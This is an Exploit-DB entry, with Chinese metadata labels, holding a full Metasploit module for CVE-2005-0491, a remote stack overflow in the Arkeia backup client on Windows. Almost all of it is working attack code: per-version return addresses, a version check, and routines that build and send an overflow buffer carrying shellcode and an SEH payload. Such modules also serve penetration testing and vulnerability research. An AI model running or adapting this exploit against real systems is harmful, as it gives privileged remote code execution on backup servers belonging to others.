标题: Knox Arkeia Backup Client Type 77 (Windows x86) - Remote Overflow (Metasploit) EDB-ID: 16466 CVE: 2005-0491 类型: REMOTE 平台: WINDOWS_X86 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: type77.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Arkeia
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Arkeia Backup Client Type 77 Overflow (Win32)',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the Arkeia backup
    client for the Windows platform. This vulnerability affects
    all versions up to and including 5.3.3.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2005-0491' ],
     [ 'OSVDB', '14011'],
     [ 'BID', '12594'],
     [ 'URL', 'http://lists.netsys.com/pipermail/full-disclosure/2005-February/031831.html'],
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Targets'        =>
    [
     ['Arkeia 5.3.3 and 5.2.27 Windows (All)',  { 'Platform' => 'win', 'Rets' => [ 0x004130a2, 5 ] }], # arkeiad.exe
     ['Arkeia 5.2.27 and 5.1.19 Windows (All)', { 'Platform' => 'win', 'Rets' => [ 0x00407b9c, 5 ] }], # arkeiad.exe
     ['Arkeia 5.3.3 and 5.0.19 Windows (All)',  { 'Platform' => 'win', 'Rets' => [ 0x0041d6b9, 5 ] }], # arkeiad.exe
     ['Arkeia 5.1.19 and 5.0.19 Windows (All)', { 'Platform' => 'win', 'Rets' => [ 0x00423264, 5 ] }], # arkeiad.exe
     ['Arkeia 5.x Windows 2000 English',        { 'Platform' => 'win', 'Rets' => [ 0x75022ac4, 5 ] }], # ws2help.dll
     ['Arkeia 5.x Windows XP English SP0/SP1',  { 'Platform' => 'win', 'Rets' => [ 0x71aa32ad, 5 ] }], # ws2help.dll
     ['Arkeia 5.x Windows NT 4.0 SP4/SP5/SP6',  { 'Platform' => 'win', 'Rets' => [ 0x77681799, 5 ] }], # ws2help.dll
     ['Arkeia 4.2 Windows 2000 English',        { 'Platform' => 'win', 'Rets' => [ 0x75022ac4, 4 ] }], # ws2help.dll
     ['Arkeia 4.2 Windows XP English SP0/SP1',  { 'Platform' => 'win', 'Rets' => [ 0x71aa32ad, 4 ] }], # ws2help.dll
     ['Arkeia 4.2 Windows NT 4.0 SP4/SP5/SP6',  { 'Platform' => 'win', 'Rets' => [ 0x77681799, 4 ] }], # ws2help.dll
     ['Arkeia 4.2 Windows 2000 German',         { 'Platform' => 'win', 'Rets' => [ 0x74fa1887, 4 ] }], # ws2help.dll
    ],
   'DisclosureDate' => 'Feb 18 2005',
   'DefaultTarget' => 0))
 end

 def check
  info = arkeia_info()
  if !(info and info['Version'])
   return Exploit::CheckCode::Safe
  end

  print_status("Arkeia Server Information:")
  info.each_pair { |k,v|
   print_status("   #{k + (" " * (30-k.length))} = #{v}")
  }

  if (info['System'] !~ /Windows/)
   print_status("This module only supports Windows targets")
   return Exploit::CheckCode::Detected
  end

  if (info['Version'] =~ /Backup (4\.|5\.([012]\.|3\.[0123]$))/)
   return Exploit::CheckCode::Vulnerable
  end

  return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  print_status("Trying target #{target.name}...")

  head = "\x00\x4d\x00\x03\x00\x01\xff\xff"
  data = (target['Rets'][1] == 5) ? prep_ark5() : prep_ark4()
  head[6, 2] = [data.length].pack('n')

  begin
   sock.put(head)
   sock.put(data)
   sock.get_once
  rescue IOError, EOFError => e
   print_status("Exception: #{e.class}:#{e}")
  end
  handler
  disconnect
 end

 def prep_ark5
  data = rand_text_english(4096, payload_badchars)
  data[1176, 4] = [target['Rets'][0]].pack('V')
  data[1172, 2] = "\xeb\xf9"
  data[1167, 5] = "\xe98" + [-1172].pack('V')
  data[0, payload.encoded.length] = payload.encoded
 end

 def prep_ark4
  data = rand_text_english(4096, payload_badchars)
  seh = generate_seh_payload( target['Rets'][0] )
  data[ 96, seh.length] = seh
 end

end URL: https://www.exploit-db.com/exploits/16466